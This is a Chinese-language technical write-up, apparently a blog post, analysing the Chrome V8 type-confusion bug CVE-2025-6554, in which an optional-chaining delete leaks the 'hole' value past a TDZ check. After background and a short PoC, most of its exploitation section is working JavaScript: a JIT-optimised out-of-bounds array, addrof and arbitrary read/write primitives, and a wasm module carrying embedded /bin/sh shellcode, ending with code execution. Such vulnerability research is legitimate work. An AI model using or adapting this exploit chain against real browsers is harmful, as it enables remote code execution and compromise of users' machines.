Chrome 远程代码执行漏洞(CVE-2025-6554)

前言

2025年6月,谷歌威胁分析小组(Clement Lecigne, @_clem1)发现一个在野漏洞利用,该漏洞利用了V8引擎中一个非常著名的原始漏洞,并引入了一种新的利用技术——另一个“the_hole”泄漏问题,引发了广泛关注。该漏洞本身非常有趣,涉及V8引擎内部的多个领域和概念。

Google于2025年6月30日发布了最新的 Chrome 安全通告,公告链接https://chromereleases.googleblog.com/2025/06/其中修复了高危漏洞2025-6554,并且已经知道该漏洞已经存在在野利用。

[NA][427663123] High CVE-2025-6554: Type Confusion in V8.

Reported by Clément Lecigne of Google’s Threat Analysis Group on 2025-06-25.

This issue was mitigated on 2025-06-26 by a configuration change

pushed out to Stable channel across all platforms.
Google is aware that an exploit for CVE-2025-6554 exists in the wild.

漏洞时间线

  • 2025年6月30日:Google 修复漏洞并确认存在在野利用
  • 2025年7月2日:研究员 @DarkNavyOrg 在 X 平台公开 PoC
  • 修复版本:Commit 22e9d9621de58ec6fe6581b56215059a48451b9f

环境搭建

这里选择commit编号为609a85c2a1bd77d6f6905369f4bc4fcf34c5db09的v8环境。

然后通过chromiumdash查询这个commit合并的chrome对应的版本,也就是下面这个链接

https://chromiumdash.appspot.com/commit/609a85c2a1bd77d6f6905369f4bc4fcf34c5db09

![image-20251224165752816](picture/Chrome 远程代码执行漏洞(CVE-2025-6554)/image-20251224165752816.png)

然后可以知道对应的稳定版本也就是stable版本为140.0.7339.41。chromiumdash查询一下对应的branch编号为

https://chromiumdash.appspot.com/fetch_version?version=140.0.7339.41

![image-20251224165923332](picture/Chrome 远程代码执行漏洞(CVE-2025-6554)/image-20251224165923332-1766566964394-3.png)

于是去https://commondatastorage.googleapis.com/chromium-browser-snapshots/index.html?prefix=Win_x64/1496484/下载1496484的即可。

前置知识

TDZ

暂时性死区(TDZ)指的是:

在代码块内,使用let或const声明的变量,在声明语句之前就被访问时,JavaScript会抛出ReferenceError异常,而不是返回undefined

示例1:

1
2
3
4
5
function test(){
console.log(a); // ReferenceError: // Cannot access 'a' before initialization
let a=10;
}
test();

执行逻辑:

1.JS引擎会在编译阶段发现let a;

2.它会为a创建绑定,但不会像var那样赋初值

3.进入该块作用域后,a已存在但未初始化

4.当执行到console.log(a)时,因为a还没被初始化,所以处于TDZ,进而抛出error

示例2:

1
2
3
4
5
function test(){
console.log(a); // undefine
var a=10;
}
test();

var声明的变量会:

1.在作用域顶部变量提升

2.自动初始化为undefined

3.因此不会出现TDZ

operator ?.

示例1:

1
2
3
let obj ={ inner: { val: 42 } };
delete obj?.inner?.val; //删除成功 返回true
console.log(obj.inner.var); //undefine

执行流程:

1.计算 obj?.inner?.val

2.若在访问链中,任何 ?. 前的值为 null 或 undefined,则delete表达式立即返回 ‘true’。例如当 obj.inner 为 null 时,表达式将变为 delete undefined.val,随后返回 true。

3.否则执行常规删除逻辑

示例1等价于:

1
2
3
4
if (obj == null) return true;   
if (obj.inner == null)
return true;
return delete obj.inner.val;

注:

  1. 可选链式操作符是一种安全的访问运算符
  2. 当发生短路时,它不会抛出 TypeError 异常
  3. 删除操作仅适用于属性访问,无法删除使用 let 或 const 声明的变量

The Hole

  • Hole 是 V8 引擎内部的特殊值,用于表示数组/对象中的”空位”(如 [1,,3] 中的中间元素)
  • 运行时访问hole将触发运行时错误或检查逻辑。

漏洞原理

1. POC分析

1
2
3
4
5
6
7
8
9
10
function f() {
let x;
delete x?.[y]?.a; // 核心:可选链 + delete 操作
return y;
let y; // TDZ: y 声明在 return 之后
}

let hole = f();
let map = new Map();
map.delete(hole); // 触发类型混淆

2. 关键技术点解析

1) 可选链操作符(Optional Chaining)?.
  • 可选链的语义是:如果左侧表达式为 nullundefined,则短路返回 undefined,不会访问后续属性
  • 在 PoC 中:xundefinedx?.[y] 应该返回 undefined
  • V8 在字节码生成阶段,遇到 xundefined 时会通过 JumpIfUndefinedOrNull 指令跳转,绕过对 y 的访问
2) “Hole” 类型的本质
  • Hole 是 V8 引擎内部的特殊值,用于表示数组/对象中的”空位”(如 [1,,3] 中的中间元素)
  • Hole 本不应该暴露给 JavaScript 用户代码,但通过特定构造可以让其”泄露”出来
  • 历史上通过 Hole 实现代码执行的案例包括 CVE-2023-3079
3) 暂时性死区(Temporal Dead Zone, TDZ)
  • 使用 let/const 声明的变量在初始化前无法访问,访问会抛出 ReferenceError
  • 在 PoC 中:ydelete 表达式中被使用,但其 let y 声明在后面
  • V8 内部通过将 TDZ 变量的值设为 Hole 来实现这一机制,当检测到 Hole 时会调用 ThrowReferenceErrorIfHole 抛出错误

3. 漏洞触发流程

1
2
3
4
5
6
7
8
├─ x = undefined (未初始化)
└─ y = hole (TDZ 状态)

执行 delete x?.[y]?.a:
├─ 判断 x == undefined ✓
├─ 跳转到短路逻辑
├─ 【漏洞点】跳过了 y 的 Hole 检查
└─ 直接返回 y (此时 y 仍是 hole)

结果:函数返回了本不应暴露的 Hole 值

漏洞分析

v8 sandbox

还记得前面提到过,需要在编译v8的时候修改编译选项,将args.gn中的v8_enable_sandbox置为false(默认为true)。它的作用是什么呢?当它为true的时候,将开启v8 sandbox,否则关闭。参考v8 sandbox。简单来讲,它的作用是创建一个沙箱,即使出现了漏洞,也不能直接执行代码,而需要再穿越这个沙箱才行。如果打开这个开关,我们的POC还会执行成功吗?答案是不能。区别在于:

1
2
3
4
5
6
7
8
9
10
function write_shell_code(rwx_addr, shellcode) {
let shellArray = new Uint8Array(100);
shellArray.fill(1);
let shellArray_element_addr = addressof(shellArray) + 0x2c;

write(shellArray_element_addr, rwx_addr);

for (let i = 0; i < shellcode.length; i++)
shellArray[i] = shellcode[i];
}

这段代码中,通过addressof(shellArray) + 0x2c存放的是Uint8Array对象数组的指针,它是一个full pointer,将它修改为rwx内存的地址,Uint8Array就指向了rwx,对Uint8Array数组访问,就可以直接修改rwx内容了。当v8_enable_sandbox 为true时。addressof(shellArray) + 0x2c存放的是v8 heap addr。这是一个压缩指针,中间记录的是偏移。addr + base << 32才能得到真正的地址,base存放在寄存器中。由于base存放在寄存中,无法泄露,也无法修改,因此无法构造一个合理的跳板来写rwx,进一步让漏洞无法利用。这是v8 sandbox想要达到的效果。也就是说,以后要实现一个完成的漏洞利用链,除了v8的漏洞外,还需要额外找到一个v8 sandbox的漏洞才行。用%DebugPrint查看不同开关下面Uint8Array的结构。

1
2
3
4
5
6
7
8
9
10
11
# disable v8 sandbox
# v8_enable_sandbox = false
# ./d8 --allow-natives-syntax test.js
# var obj = new Uint8Array(100);
# %DebugPrint(obj);

DebugPrint: 0x287d0004c645: [JSTypedArray]
...
- data_ptr: 0x7fb90870c630
- base_pointer: 0x0
- external_pointer: 0x7fb90870c630

关闭sandbox,external_pointer为一个完整的指针。addressof(shellArray) + 0x2c存的值是0x7fb90870c630。替换为rwx的值即可读写rwx里面的内容。

1
2
3
4
5
6
7
8
9
10
# enable v8 sandbox
# v8_enable_sandbox = true
# ./d8 --allow-natives-syntax test.js
# var obj = new Uint8Array(100);
# %DebugPrint(obj);
DebugPrint: 0x76d001cc639: [JSTypedArray]
...
- data_ptr: 0x76e00000000
- base_pointer: 0x0
- external_pointer: 0x76e00000000

开启sandbox,0x76e00000000为v8 sandbox addr,addressof(shellArray) + 0x2c存的值是0x100000000,寄存器里面存放的是0x76d,两者相加得到0x76e00000000。

过往the_hole漏洞利用技术

the_hole对象已成为V8中反复出现的漏洞利用原语,攻击者发现了多种将其泄漏到JavaScript并利用它进行内存破坏的方法。在CVE-2025-6554之前,至少有两个值得注意的在野漏洞利用案例使用了the_hole:

CVE-2022-1364:逃逸分析绕过

该技术利用了V8逃逸分析实现中的疏漏。漏洞根源在于非标准的getThis API在节点逃逸分析过程中未能被正确追踪,导致the_hole对象可被泄漏至JavaScript环境。

一旦成功泄漏,攻击者便能利用the_hole的内存布局操控Map对象:

1
2
3
4
5
6
7
8
function getmap(m) {
m = new Map();
m.set(1, 1);
m.set(%TheHole(), 1);
m.delete(%TheHole());
m.delete(%TheHole());
m.delete(1);
return m;

CVE-2023-2033:Turbofan类型混淆漏洞

@mistymntncop 发现的CVE-2023-2033漏洞利用揭示了Turbofan类型系统中存在一个缺陷:the_hole被意外地当作其他Oddball对象处理,使得像ToNumber这样的操作能够返回NaN。这种意外行为导致了JIT编译器中的类型混淆:

1
2
3
4
5
6
function weak_fake_obj(b, addr=1.1) {
if(b) {
let index = Number(b ? the.hole : -1);
index |= 0;
index += 1;
...

CVE-2025-6554

CVE-2025-6554代表了一种不同的攻击途径。与之前针对逃逸分析或类型系统行为的漏洞利用不同,该漏洞利用了Ignition字节码生成器中的作用域生命周期管理缺陷,特别是围绕TDZ(暂时性死区)空洞检查省略优化机制。其泄漏后的利用技术同样具有创新性,通过消除TurboFan加载消除阶段的TypeGuard验证来绕过类型检查,从而创建具有非法长度的数组。

漏洞根源

该漏洞源于V8引擎中Ignition字节码生成器的作用域生命周期管理缺陷,具体表现为在可选链控制流边界处跟踪TDZ空洞检查省略优化机制时出现错误。

V8的暂时性死区机制

JavaScript 的 let 和 const 声明会创建一个暂时性死区,在该区域中变量虽已存在于作用域内,但在声明之前无法被访问:

1
2
console.log(x); // ReferenceError: Cannot access 'x' before initialization
let x = 5;

V8内部使用名为the_hole的特殊标记值来标识未初始化的变量。在每次访问暂时性死区变量前,V8会抛出ThrowReferenceErrorIfHole字节码指令。2023年6月,V8启用了一项优化机制,通过位图追踪技术在同一基本块内消除冗余的暂时性死区检查。

漏洞利用

32位的情况下的利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function hax(trigger) {
let x;
delete x?.[y]?.a;
let hole = y;
let y;

let o = {};
o.maybe_hole = trigger ? hole : "not the hole";
let len = o.maybe_hole.length;
let sign = Math.sign(len);
let i1 = 2 - (sign + 1);
let i2 = 5 - (i1 + 4) >> 1;
let i3 = 2 * i2 + 2;
let i4 = i3 >> 1;
let i5 = i4 * 1000;
// let i5 = i4 * 200;

let arr = new Array(8);
arr[0] = 13.37;

arr[i5] = 13.37;
return arr;
}

首先构造这样的函数。然后通过大量执行实现JIT优化。

1
2
3
4
5
6
7
8
9
10
11
let normal = hax(false);

// optimize
for (let j=0; j<0x10000; j++){
hax(false);
}
for (let j=0; j<0x10000; j++){
hax(false);
}
// optimize

通过hax函数获取到了the_hole之后,就有了越界地址读写的方法了。于是构造如下数组

1
2
3
4
5
6
let corrupted = hax(true);

let float_arr = [1.2, 1.4, 1.5];
let obj = {cat:["meow", "meow"]};
let obj_arr = [obj]
let rw_prim_arr = [1.1, 1.5, 1.7, 1.8];

通过计算调试得出flt_map的地址和obj_map的地址

1
2
3
4
let flt_arr_map_full = corrupted[17]
let obj_arr_map_full = corrupted[41]
let isolate_flt_arr_map = ftoi(flt_arr_map_full) & 0xffffffffn
let isolate_obj_arr_map = ftoi(obj_arr_map_full) >> 32n

然后再构造addrof的功能

1
2
3
4
5
6
7
8
9
10
11
12
function addrof(in_obj) {
/*
17 -> flt_arr map
41 -> obj_arr map
*/
let leak;
obj_arr[0] = in_obj;
corrupted[41] = setULBits(0n, isolate_flt_arr_map);
leak = obj_arr[0];
corrupted[41] = setULBits(0n, isolate_obj_arr_map);
return leak;
}

然后通过越界读写可以实现任意地址读写,当然在64位的情况下因为指针压缩的原因,只能在4GB的范围读写。32位下就没有这样的限制了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function arb_read(in_addr){ // bigint
/*
rw_prim_arr elements ptr OOB in corrupted arr
corrupted[55] = 0x80013ecf1
*/
corrupted[55] = setULBits(in_addr - 8n, 0x8n);
return ftoi(rw_prim_arr[0]);
}

function arb_write(in_addr, write_val){ // bigint, bigint
/*
rw_prim_arr elements ptr OOB in corrupted arr
corrupted[55] = 0x80013ecf1
*/
corrupted[55] = setULBits(in_addr - 8n, 0x8n);
return rw_prim_arr[0] = itof(write_val);
}

最后按照v8的利用逻辑用wasm去利用即可,首先先泄露shellwasm_rwx的地址。

需要注意的是,在64位的情况下的123版本后的chrome开启了v8 sandbox,堆的沙箱保护,trusted_data_ptr这个值做了保护,无法直接泄露出来,需要绕过,这里我们使用的是32位的,就不存在这个保护。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

let shell_wasm_code = new Uint8Array([
0, 97, 115, 109, 1, 0, 0, 0, 1, 5, 1, 96, 0, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 17, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 133, 1, 1, 130, 1, 0, 65, 0, 68, 0, 0, 0, 0, 0, 0, 0, 0, 57, 3, 0, 65, 0, 68, 106, 59, 88, 144, 144, 144, 235, 11, 57, 3, 0, 65, 0, 68, 104, 47, 115, 104, 0, 91, 235, 11, 57, 3, 0, 65, 0, 68, 104, 47, 98, 105, 110, 89, 235, 11, 57, 3, 0, 65, 0, 68, 72, 193, 227, 32, 144, 144, 235, 11, 57, 3, 0, 65, 0, 68, 72, 1, 203, 83, 144, 144, 235, 11, 57, 3, 0, 65, 0, 68, 72, 137, 231, 144, 144, 144, 235, 11, 57, 3, 0, 65, 0, 68, 72, 49, 246, 72, 49, 210, 235, 11, 57, 3, 0, 65, 0, 68, 15, 5, 144, 144, 144, 144, 235, 11, 57, 3, 0, 65, 42, 11
]); // /bin/sh shellcode inside this

let shell_wasm_module = new WebAssembly.Module(shell_wasm_code);
let shell_wasm_instance = new WebAssembly.Instance(shell_wasm_module);
let shell_func = shell_wasm_instance.exports.main;

let shell_wasm_instance_addr = ftoi(addrof(shell_wasm_instance))& 0xffffffffn;

console.log("[*] leak wasm_instance addr: 0x" + hex(shell_wasm_instance_addr));
//%DebugPrint(shell_wasm_instance);

let trusted_data_ptr = (arb_read(shell_wasm_instance_addr+0xcn))& 0xffffffffn;
console.log(`[*] trusted_data_ptr address: 0x${trusted_data_ptr.toString(16)}`);

//%SystemBreak();

let shell_wasm_rwx_addr = arb_read(trusted_data_ptr + 0x1cn)& 0xffffffffn;

console.log(`[*] shellwasm rwx address: 0x${shell_wasm_rwx_addr.toString(16)}`);

然后用DataView实现读写,先泄露buf_backing_store_addr的地址,然后将其修改为shell_wasm_rwx_addr即可。

这里需要注意的是buf_backing_store_addr在开启了指针压缩的情况下,大概在v8的10点几版本后就对buf_backing_store_addr也开启了指针压缩,于是无法实现任意地址读写,只能局限在4GB的空间中。但这里我们使用的32位就没有这个限制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

/* DISPLAY=':0.0' xcalc */
let shellcode = new Uint8Array([
//shellcode在这里就不给出了,可以用msf生成
]);

var data_buf = new ArrayBuffer(shellcode.length);
var data_view = new DataView(data_buf);

//%DebugPrint(data_buf);

var buf_backing_store_addr = (ftoi(addrof(data_buf)) + 0x1cn)& 0xffffffffn;
console.log("[*] buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));
//%SystemBreak();

arb_write(buf_backing_store_addr, (shell_wasm_rwx_addr));
//%DebugPrint(data_buf);

//%SystemBreak();

最后写入shellcode再执行即可

1
2
3
4
5

for (let i = 0; i < shellcode.length; i++)
data_view.setUint8(i, shellcode[i]);

shell_func();

未给出的工具函数如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function hex(i)
{
return i.toString(16).padStart(8, "0");
}

function ftoi(val) {
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}

function itof(val) {
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}

function setULBits(low,high){
u64_buf[0] = Number(low);
u64_buf[1] = Number(high);
return f64_buf[0];
}

最后实现的效果就是弹出计算器

![e831c2b0594e3c4757d1157d229149a0](picture/Chrome 远程代码执行漏洞(CVE-2025-6554)/e831c2b0594e3c4757d1157d229149a0.jpg)

-